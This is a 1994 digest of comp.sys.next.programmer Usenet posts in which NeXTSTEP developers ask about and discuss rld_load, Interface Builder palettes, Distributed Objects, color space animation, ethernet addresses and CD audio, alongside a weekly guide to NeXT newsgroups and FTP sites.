From: dwatola@bvd.jpl.nasa.gov (David A. Watola) Newsgroups: comp.sys.next.programmer Subject: dynamic loading of objects with rld_load Date: 10 Jan 1994 06:12:39 GMT Organization: Jet Propulsion Laboratory, Pasadena, CA USA Message-ID: <2gqrko$7u0@elroy.jpl.nasa.gov> can somebody out there provide an example of how to use rld_load and related functions properly? the man pages on rld_load (et al) are not very specific on how to prepare executables that will use rld_load or how to prepare object files that are to be rld_load'ed. my experiences so far: after some experimentation, i found that doing a ld -U _func1 -U func2 -o main main.o ... will produce a valid executable with func1 and func2 still undefined. calling rld_load of an object file (.o) that defines these two functions DOES result in the two functions becoming defined: gdb recognizes the symbols and allows me to ineractively call them. however, the main program code that calls these functions has not been modified, so i get a bus error when a subroutine call to 0x00000000 is executed. i have noticed that rld_lookup does return the addresses of the functions, so i CAN make pointers to these functions and call them indirectly. BUT ISN'T THERE A BETTER WAY? also, if i use an archive file (.a) instead of an object file, rld_load returns 1 (indicating success) but the symbols do NOT get mapped in--i cannot access them using the debugger, and i cannot find their addresses using rld_lookup. this appears to be contrary to the first paragraph of the man page rld(3). so, can anyone out there explain to me the proper way to use these functions? i am currently using nextstep 3.1 on black hardware. thanks, dave watola dwatola@bvd.jpl.nasa.gov
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: weird nib file corruption... Message-ID: <1994Jan10.080252.15767@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Date: Mon, 10 Jan 1994 08:02:52 GMT I'm wondering if anyone else has seen this... Someone pointed out that they were having problems with one of the examples I bundled with my WavesWorld palettes I recently made available. It was crashing for him on Intel hardware. Since I hadn't gotten around to trying it on Intel hardware (hey, it's an alpha release...), I sat down tonight and gave it a go. It crashed for me too, but I noticed that some of the text in the nib file looked wrong... I moved over to a black machines and gave it a try. Crashed there too... Hmm, they're both running 3.2 and I developed my stuff on 3.1... Then it hit me. I have lots of PD fonts on my home and office NeXTs. I had used a font from BCS called MarkerHeavy in the .nib, which wasn't on either of the two machines I tried. IB didn't complain, it just (silently) stuck Helvetica in it's place. That's fine, except when I went over to one of my machines running 3.2 that had the right fonts on it, the example worked fine. So, it looks like either (1) NeXT is mucking something up when they can't find a font and they replace it on the fly (wouldn't it be nice if it printed a warning, BTW?) or (2) somehow this is pointing out a bug in my palette code that doesn't manifest itself normally. I'd love (2) to be true; I'm just interested to hear if anyone has seen the same sort of thing. BTW, I've put a new version of my palettes in media.mit.edu:pub/WavesWorld which fixes this problem and a few others. I just rendered the fonts as antialiased TIFFs and stuck them on the buttons. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 9 Jan 1994 23:52:13 -0500 Organization: Next Announcements Message-ID: <2gqmtt$bap@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: zeno@abstractsoft.com (Sean T. Lamont) Newsgroups: comp.sys.next.programmer Subject: Odd subview behavior Date: 10 Jan 1994 09:32:00 GMT Organization: Abstract Software Message-ID: <2gr7ag$hfc@news.u.washington.edu> References: <1993Dec17.103421.227@dart.de> Does anyone have any ideas as to why the appkit would absolutely insist in dispatching event messages (keyup's , etc.) to a subview which has been removed from its superview? This is especially annoying because I can't free the object until I know nobody's going to message it. Any inspirations helpful. Respond via email please, I'm not as up on this group as I would like to be. -- Sean T. Lamont | Ask me about the WSI-Fonts Abstract Software | Professional collection for NeXT lamont@abstractsoft.com |____________________________________
From: med@D012S648.zfe.siemens.de (T.Hoellrich) Newsgroups: comp.sys.next.programmer Subject: Distributed Objects & AppKit ??? Date: 10 Jan 1994 12:29:44 GMT Organization: Siemens-Nixdorf Informationssystem AG Distribution: world Message-ID: <MED.94Jan10132944@D012S648.zfe.siemens.de> Hi comp.sys.next.programmer! I have a small problem with Distributed Objects and interaction with the Appkit. Here's the story: I've built a small app which basically acts like the Unix 'talk'- command with NeXTStep-Interface. The App (better the Talker-Class) can both act as client or server. When starting the app you get a receive- and send-TextField object. Pressing the "Connect"-Button connects to a specified host (in this case the localhost, as this is a standalone machine). The App where you pressed the "Connect" button acts as the server and the other app as the client. Now entering text in the send textfield on the "Server"-side transfers this text to the client and displays it in the receive-textfield (the Talker Class acts as a delegate to the Send-TextField and implements - textDidGetKeys). So far everything works as expected. But the moment I enter a character at the client-send-textfield the client stucks and after 15 seconds (default time reports a 11013 error). The weird thing is, that pressing a key in the client send-window and then fast moving to the server-send-window and also pressing a key, makes the character entered on the client-side also appear on the server. It seems that the client-app is waiting for some event on the server side to transmit the character to the server. Debugging the client showed, that the clients messages is really dispatched, but never arrives at the server (if no new keystroke on the server side is entered). Has anybody else experienced a problem like this? Does anybody have a clue? Regards Tobias -- ____/| Tobias Hoellrich,Schiesstaettstr.26,80339 Muenchen,Germany \ o.O| phone: +49-89-502 80 99, +49-172-89 788 36 =(_)= email: med@d012s648.zfe.siemens.de U NeXTMail: tobias@nextix.muc.de
From: S A McIntyre <S.A.McIntyre@durham.ac.uk> Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Re: Help with "undefined symbols"! Date: 10 Jan 1994 13:25:16 GMT Organization: University of Durham, Durham, UK Sender: dps3sam@altair (S A McIntyre) Distribution: world Message-ID: <2grkvs$lj6@mercury.dur.ac.uk> References: <2gk3kg$qo8@marble.Britain.EU.net> <2gk638$241@news.acns.nwu.edu> <2gq6do$ck4@vixen.cso.uiuc.edu> There seem to be several things missing from NeXT's mach that programs I pick up off the net seem to like, as a result I've grabbed the bsd source, or found the source elsewhere and have created a /usr/local/lib/missing which has the following: getenv.o putenv.o setenv.o strdup.o There is probably some clever way to add all of these into a libmissing.a, but I'm not cunning enough to know how to do that just yet. Scott
From: fxg@wolf.informatik.rwth-aachen.de (Felix Gatzemeier) Newsgroups: comp.sys.next.programmer Subject: Re: *** HashTable: count... ->AlertPanel Bug Date: 10 Jan 1994 14:11:56 GMT Organization: Lehrstuhl fuer Informatik III, RWTH Aachen, Germany Message-ID: <FXG.94Jan10151156@wolf.informatik.rwth-aachen.de> References: <1994Jan1.021707.23646@csus.edu> <2gar8o$os3@news.gatech.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit In-reply-to: cc100aa@xray.oit.gatech.edu's message of 4 Jan 1994 04:28:08 GMT In article <2gar8o$os3@news.gatech.edu> cc100aa@xray.oit.gatech.edu (Ray Spalding) writes: From: cc100aa@xray.oit.gatech.edu (Ray Spalding) Newsgroups: comp.sys.next.programmer Date: 4 Jan 1994 04:28:08 GMT Organization: Georgia Institute of Technology References: <1994Jan1.021707.23646@csus.edu> Reply-To: ray.spalding@oit.gatech.edu NNTP-Posting-Host: xray.oit.gatech.edu In article <1994Jan1.021707.23646@csus.edu> eps@cs.sfsu.edu writes: >One of our programmers is getting intermittent > >*** HashTable: count differs after rehashing; probably indicates ... From the 3.2 online Developer Release Notes: Notes Specific to Release 3.2 Known Bugs NXRunAlertPanel In all 3.X releases NXRunAlertPanel incorrectly tries to localize the arguments it receives. ... The workaround is to be sure that you call this function with strings that you know will not change. Use either literal strings or make copies of dynamically created strings that may change later. Wouldnt't it work to use only localized panels anyways? Being a foreign developer, I "always" use localized strings. It's not even that much work if you truncate the NXGetLocalizedStringFromTableInBundle - type names to something reasonable. -- Ray Spalding, Office of Information Technology Georgia Institute of Technology, Atlanta Georgia, 30332-0715 Internet: ray.spalding@oit.gatech.edu (NeXT Mail accepted) -- Felix (fxg@(([Pool|I3].Informatik)|(Tolkien.ImIB)).RWTH-Aachen.de NeXT-Mail ok, but slow)
From: pkron@corona.com (Peter Kron) Organization: Corona Design, Inc., Seattle, WA Distribution: world Date: Sun, 9 Jan 1994 19:32:53 PST Message-ID: <1994Jan10.033253.445@corona.com> Newsgroups: comp.sys.next.programmer Subject: Re: Are structs evil for MAB typedstreams? References: <1994Jan8.234503.642@afs.com> From: Greg_Anderson@afs.com (Gregory H. Anderson) > So here's the BIG RED LABEL, WARNING: LARK'S VOMIT! > > ONLY SIMPLE TYPES ARE GUARANTEED HARDWARE-INDEPENDENT IN > TYPEDSTREAMS! DO NOT USE ENCODED STRUCTS AND ARRAYS > UNLESS YOU ARE CERTAIN THERE WILL BE NO BYTE ALIGNMENT > PROBLEMS WHEN BULK STORAGE GETS WRITTEN OFF A SINGLE > POINTER!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Uh-oh. January 8 and uppercase-itis. I guess we'll be waiting a bit more for the new word processor. Hang in there, Greg! :^) --- NeXTMail:Peter_Kron@corona.com Corona Design, Inc. P.O. Box 51022 Seattle, WA 98115-1022
Newsgroups: comp.sys.next.programmer From: brouwer@mickey.informatik.uni-stuttgart.de (Klaus Brouwer) Subject: Re: IB Dragging question Message-ID: <1994Jan10.140216.5342@ifi.informatik.uni-stuttgart.de> Sender: news@informatik.uni-stuttgart.de Organization: Informatik, Uni Stuttgart, Germany References: <2gbl6e$cp@steffi.demon.co.uk> Date: Mon, 10 Jan 1994 14:02:16 GMT I can't tell you exactly why Drag&Drop does work only in test mode, but I think it has something to with the fact, the any view instance you drag of a palette isn't "installed" in the window, i.e. its 'window' instance variable is nil. (Drag a box in an empty window, give it a special title and find and inspect it using AppInspector to verify that). The reason might be, that the winows you see in IB are only editor windows for the window objects shown in the file window. (Editors are invoked by double clicking an object; double clicking an window object in file window places a "real" window on screen; double clicking a button makes it's title editable). >Does anybody know what "machinery" IB is using when you can drag an >Image over a Button? Yes and No. All kind of Drag&Drop within IB is done between editors - this is the only way I know (in fact the IBEditor protocol specifies drag&drop). The problem is, that the 4 standart palettes are implemented in completely different way than the loadable palettes. This means that you can't do everything NeXT can do and might not be able to realize every project you want. As stated above, to support Drag&Drop you have to supply an editor for your object (a class that conforms to the IBEditor protocol). Your object must have a method called -getEditorClassName: (or the like) and return the name of your class. BUT: IB only invokes this method for certain objects and it's not documented for what kind. I.e. for a direct subclass of View it isn't invoked, for a subclass of Box it is. So before spending a lot of work, first check whether -getEditorClassName is invoked for your object. >At Expo, I saw some guy demonstrating a palette which allowed >"real-time" drag and dropping of images over his View subclass. He also >had "real-time" rotating of the image. I would like to see the source..... I hope I could help you a little. Klaus Brouwer, University of Stuttgart, Germany
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: NXBrowsers, Very Lazy and Normal Date: 10 Jan 1994 15:13:19 -0000 Organization: me organized? That's a joke! Message-ID: <2grraf$6re@steffi.demon.co.uk> I have an NXBrowser that I would like to be configured to Very Lazy OR Normal depending on its delegate's state. Since NeXT have choosen to statically determine a browser's type depending on what methods its delegate responds to. I was wondering how I might go about defining both the Very Lazy and Normal sets of delegate methods and having the browser knowing which one to execute at run-time. I was thinking that I can examine my delegate's state to determine the _needed_ type of browser and before I actually loadColumnZero I could use the Objective-C runtime class_removeMethods() to remove either of the browser type's delegate methods from it's class definition. Sound feasible? -- "Buzzword Development" the new way for the 90's. Promising to deliver but not delivering what you promised.
From: david@neurocube.com (David Samson) Newsgroups: comp.sys.next.programmer Subject: Copy Protection Date: 10 Jan 1994 15:45:54 GMT Organization: University of Florida College of Engineering Message-ID: <2grt7i$r3q@bigguy.eng.ufl.edu> I am trying to find out if there are any good public domain or commercially available copy protection schemes for NeXTSTEP apps. Our company is nearly ready to release a new App and we would like to implement some sort of copy protection or site licensing. The optimal situation would be to provide a license for each machine which runs our app. It must also function on both black hardware and Intel machines. I understand that Simpson Garfinkle has published a public domain package titled "NeXTSTEP Registration Software." Does anyone know if this is any good and where to find it? The document I have shows that it was published in 1992 which would have been pre-Intel days. Has it been upgraded to support Intel machines? Any assistance in this area would be greatly appreciated. Thanks -- /\ / | David Samson / \/euro /\ | 720 SW 2nd Ave, Gainesville, FL 32601 /_/imension | david@nd.com or david@nd-isdn.ee.ufl.edu
Newsgroups: comp.sys.next.programmer From: woo@ornl.gov (John W. Wooten) Subject: Re: getting local machine's ethernet address Message-ID: <1994Jan10.155026.19589@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory References: <1994Jan7.144850.26154@bozell.com> Date: Mon, 10 Jan 1994 15:50:26 GMT In article <1994Jan7.144850.26154@bozell.com> jmartin@Dallas.Bozell.com (Jeff Martin) writes: > In article <9401062014.AA02128@giants.comnetix.com> > ajetha@giants.comnetix.com (Alykhan Jetha) writes: > > Folks, > > I'm trying to get the localhost's ethernet address programmatically on > NS/FIP. I realize > > you can get the address from the master netinfo database, but for this > particular > > application the network can die at any moment thus rendering the netinfo > call useless. I > > have also looked at some of the ether function calls, they provide other > host's ethernet > > address but not the localhosts. > > I also realize that one could parse it out of the /usr/adm/messages > file, however, I don't > > particularly like that scenario. Is there anything that I'm missing?? > Here is a simple way to get it if you have perl! #!/usr/local/perl # # Print out Ethernet Address # open(FILE,"grep 'Ethernet address' /usr/adm/messages|"); while (<FILE>) { chop; #print $_,"\n"; (@items) = split(" ",$_); print "Ethernet address: ",$items[$#items],"\n"; last; } close FILE; - - - - - - - - - J. W. Wooten
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: TubeTester wanted. Date: 10 Jan 1994 15:57:51 -0000 Organization: me organized? That's a joke! Message-ID: <2grttv$7de@steffi.demon.co.uk> If you have TubeTester the DBTableView demo would you kindly get in touch so that I can arrange with you to send it. Please don't send me anything until I've gotten back to you. -- "Buzzword Development" the new way for the 90's. Promising to deliver but not delivering what you promised.
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc From: vonb@iitmax.iit.edu (Robert von Borstel) Subject: Next DialBack capability s/w Message-ID: <1994Jan10.134447.27367@iitmax.iit.edu> Keywords: Dialback,Supra,Nxfax Organization: Illinois Institute of Technology, Chicago Distribution: usa Date: Mon, 10 Jan 94 13:44:47 GMT Before I reinvent the wheel, I was wondering if anyone has written or can point me to some software that allows one to login into a Next via a connected modem to it's serial port (Supra in this case) and then have the Next start a daemon that will have the modem disconnect me and call me back at home to reconnect. I.E one can look at this as secure dialback or reversing phone charges :) I also have NxFax, however I don't think that will present a problem. Thanx. -- Robert Von Borstel . Internet:vonb@iitmax.iit.edu Illinois Institute of Technology . NeXTmail:vonb@fred.iit.edu Academic Computing Center (312) 567 5809 10 West 31St Street Chicago, Ill 60616
Newsgroups: comp.sys.next.programmer From: samurai@amber.hasc.ca (Darcy Brockbank) Subject: Reading DATA(Music) from CD-ROM Message-ID: <2gs4k7$22h@amber.hasc.ca> Sender: news@sifon.cc.mcgill.ca Organization: The Hutchison Avenue Software Corp. Date: Mon, 10 Jan 1994 17:52:07 GMT Hi... I'd like to mount and read music from a CD-ROM, and place it into NeXT soundfile format on my harddisk for editing. Does anyone have any helpful hints for going about this? Thanks $1000000. - darcy -- If it's dark when you leave the office and there's snow on the ground, you're in winter. If it's dark when you get up [...] you're in winter. This is not magical, this is not a wonderland; This is snow, ice and sunlight deprivation. Mon pays c'est shitty weather you can't see. -- Montreal Mirror (Qc. Winter)
From: erwin@helsinki.ks.uiuc.edu (Edgar Erwin) Newsgroups: comp.sys.next.programmer Subject: Dealing with tabs Date: 10 Jan 1994 20:56:46 GMT Organization: University of Illinois at Urbana Distribution: world Message-ID: <2gsfee$lqq@vixen.cso.uiuc.edu> Does anyone know why NewsGrazer.app has so much trouble with tabs? If you are reading this with NG, you will notice that the following tab --> <-- will be magically transformed into a newline, but will be revealed as a tab if you open this file with Edit. What did NG do wrong and how can I avoid doing the same in my applications? By the way, is there a .nib file for NG available? *------------------------------------------------------------* Ed Erwin erwin@lisboa.ks.uiuc.edu 3117 Beckman Institute (NeXT Mail accepted) 405 N. Mathews, Urbana, IL 61801 *------------------------------------------------------------*
From: ajetha@giants.comnetix.com (Alykhan Jetha) Newsgroups: comp.sys.next.programmer Subject: Re: Getting Ethernet Address Date: 10 Jan 1994 16:00:34 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401101738.AA02141@giants.comnetix.com> Folks, Thanks for all the responses!! Let me clear a few things: 1) gethostid() or hostid does not work on any(6) of the ISA machines we have with NEXTSTEP 3.2. The return value is always 0x0. However, this function works on all(4) EISA machines we have with NS3.2. 2) We need this feature, not for licensing, but for security purposes. Certain parts of our application can only run if the machine's location has been security approved. I have not tried any of the example code that was provided at this moment. I will keep you posted on the results. Regards AlyKhan Jetha (AJ) ajetha@comnetix.com Software Engineer NEXTMAIL Welcomed. ComnetiX Computer Systems Inc. 1440 Hurontario Street Mississauga, Ontario Canada, L5G 3H4 Tel. (905) 274-4060
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: Best method of changing ColorSpace and images In-Reply-To: Jeff Adams's message of Sun, 9 Jan 1994 04:40:28 GMT Message-ID: <BYER.94Jan10133917@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <CJCIBH.KIA@wri.com> Date: Mon, 10 Jan 1994 21:39:17 GMT In article <CJCIBH.KIA@wri.com> Jeff Adams writes: > I have an image which I would like to animate by not changing the > actual pixel values of the image, but I would like to animate > it by using an NX_CustomColorSpace and rotating the indecies > of the colors in the Color Space, and then redisplaying the > image. > I can currently do this successfully by placing my data in an > NXImageBitmapRep, and using the setcolorspace PostScript operator > in a PSwrap to change the current ColorSpace, I can issue the > -draw method of NXImageBitmapRep repeatedly, while cycling the > ColorSpace to get the animation I want. > However, this method is VERY slow. I would actually like to use > this for a screen size image (not necessarily a 1000 something > by 600 something image but none the less, an image (possibly > 400 x 400 pixels) that would fill the screen. Well, the ImageBitmapRep is doing exactly what you asked it to, but what you asked it to isn't what you were expecting. Remember that NeXT's window server doesn't use the "toy color" model, but instead a "virtual color" model. This is what allows the same display code to talk to various bit-depth displays without change. "Toy color", aka. indexed color, works only with 8 bit displays for all practical purposes, and most NeXT displays are not 8 bit. Unfortunatly, the one sacrafice for a good color model is CLUT animation. So, what is happening with your example is that each sample of the image is being converted into a device independant color representation, and then is pushed through to the indexed color space you set up, and finally, to the color space of the device you are talking to, and then to the screen. A couple of those steps are usually pipelined by the implementation, but you get the idea. The data is getting touched too many times, every time you ask for a re-display. Real CLUT animation uses a display in 8 bit mode and once the data is on the display it isn't touched at all. Admittedly, indexed color mode isn't as fast as it could be. But it could never be as fast as real CLUT animation, and it does fine for the occasional display of the indexed color image. > By changing the color space do I have to then expect the redisplaying > of the image to be this slow ? Unfortunately, yes. There are cached tables built, of couse, wherever the space/speed tradeoff makes sense, and changing the color space flushes those, plus it requires the data to be reconverted through the device indepentdant representation. > I really do not want to generate all of the frames before hand > and then display because there would be quite a number of frames > in one cycle. Well, realize that CLUT animation, while fun, cheap, and easy, is a really nasty hack that is hard to duplicate on non-CLUT systems. It certainly doesn't work on 24-bit systems - any gamma-correction lookup tables that may be present are independant of each other, and so can't be made to turn red into blue, for example. There are several compromises possible: 1) Reduce the number of frames. If you can cut it down to 16 frames, it's perfectly resonable to pre-compute them all offscreen and composite them at the appropriate time. 2) Isolate the animated sections. If the CLUT lookup tweaking only animates a small part of an image, than only that part of that image needs to be cached offscreen on a non-CLUT system. 3) See if the image isn't really line art in disguise. If the CLUT animation is used to move a curve through a series of positions along a backround, instead of rasterizing the curve into the image data, draw the curve manually and composite on top of a background. > Is there something more low level I could try? Not really. [SOAPBOX] CLUT animation is really evil. It's fine for weather reports, but here in the real world where the consumer should have a choice in the equipment he/she buys, it's a really bogus thing to do. Too many times have I started a Mac application, only to get "This application requires 256 color mode." Plus, color table fighting ("rainbow windows") is a really nasty thing to have in a user interface. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
From: scott@nic.gac.edu (Scott Hess) Newsgroups: comp.sys.next.programmer Subject: Re: Decompressing Help.store Date: 10 Jan 94 17:12:04 Organization: Is a sign of weakness Distribution: world Message-ID: <SCOTT.94Jan10171204@nic.gac.edu> References: <2gkg5b$1b9@darkstar.UCSC.EDU> In-reply-to: art@cubicsol.com's message of 7 Jan 1994 20:19:54 GMT In article <2gkg5b$1b9@darkstar.UCSC.EDU>, art@cubicsol.com (Art Isbell) writes: >Is there some way to uncompress a Help.store and reconstitute the files >used to create the Help.store? I just posted a file called uncompresshelp.m to cs.orst.edu under pub/next/submissions/uncompresshelp.m.Z. This does the job (unfortunately too late for Art :-). Later, -- scott hess <scott@nic.gac.edu> <I can handle NeXTMail, but don't like it> Home: 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Office: 101 W. Burnsville Pkwy, Suite 108F, Burnsville, MN 55337 890-1332 <I hate when something I've never heard of is called "The world famous ...">
From: mortoncp@NeXTwork.Rose-Hulman.Edu (Christopher P Morton) Newsgroups: comp.sys.next.programmer Subject: Question about dragging and dropping Date: 11 Jan 1994 00:04:49 GMT Organization: Rose-Hulman Institute of Technology Message-ID: <2gsqf1$765@master.cs.rose-hulman.edu> I was wondering if anyone out there could help me with my project. The program will eventually be able to drag tiffs off of a palette of our making, drop the tiffs on a drawing board, connect them up, and have the program do the dirty work of sending the proper commands to SYBASE to create an Entity / Relation Database based what the user has done. All fine and good. The problem is that neither Librarian nor the Garfinkel/Mahoney book STEP ONE describe how to do this. My questions include: 1) When, where, and how do I initialize my drawing board to accept the various pasteboard types I need? 2) What is the format of registerForDraggedTypes: ? Librarian claims it requires a (const char *const *) but I get a compile error with incompatible types when I try. I apologize if the information I seek IS in either of the sources I mentioned. Could some kind soul either send me some sample code, point me in the right direction, or otherwise provide me with a clue? Thank you in advance. --------------------------------------------------------- -- Chris Morton mortoncp@nextwork.rose-hulman.edu P.S. It's NeXTSTEP version 3.1 if that matters.
Newsgroups: comp.sys.next.programmer From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Re: Reading DATA(Music) from CD-ROM Message-ID: <1994Jan10.215151.3134@planon.qc.ca> Sender: yanik@planon.qc.ca References: <2gs4k7$22h@amber.hasc.ca> Date: Mon, 10 Jan 1994 21:51:51 GMT In article <2gs4k7$22h@amber.hasc.ca> samurai@amber.hasc.ca (Darcy Brockbank) writes: > Hi... I'd like to mount and read music from a CD-ROM, and place > it into NeXT soundfile format on my harddisk for editing. Does > anyone have any helpful hints for going about this? > > Thanks $1000000. > > - darcy > Good Luck! With a Macintosh, when you insert a CD-Audio, you "see" the sound file in the Finder. I have asked why when I tried to copy such files from de CD-Audio to my hard disk I just have a 1K file copied. The answer was: because copy protection. The CD-Audio producers would not tolerate such way to copy/edit/modify sound file. The only way to get the file in .snd format: 1- Use a CD-Audio player with a AES/EBU output port. 2- Use a serial converter made by Ariel that convert AES/EBU output to .snd format usins the DSP port. Yanik -- Yanik Crepeau Programmer Planon Telexpertise E-Mail: yanik@planon.qc.ca (NeXT)
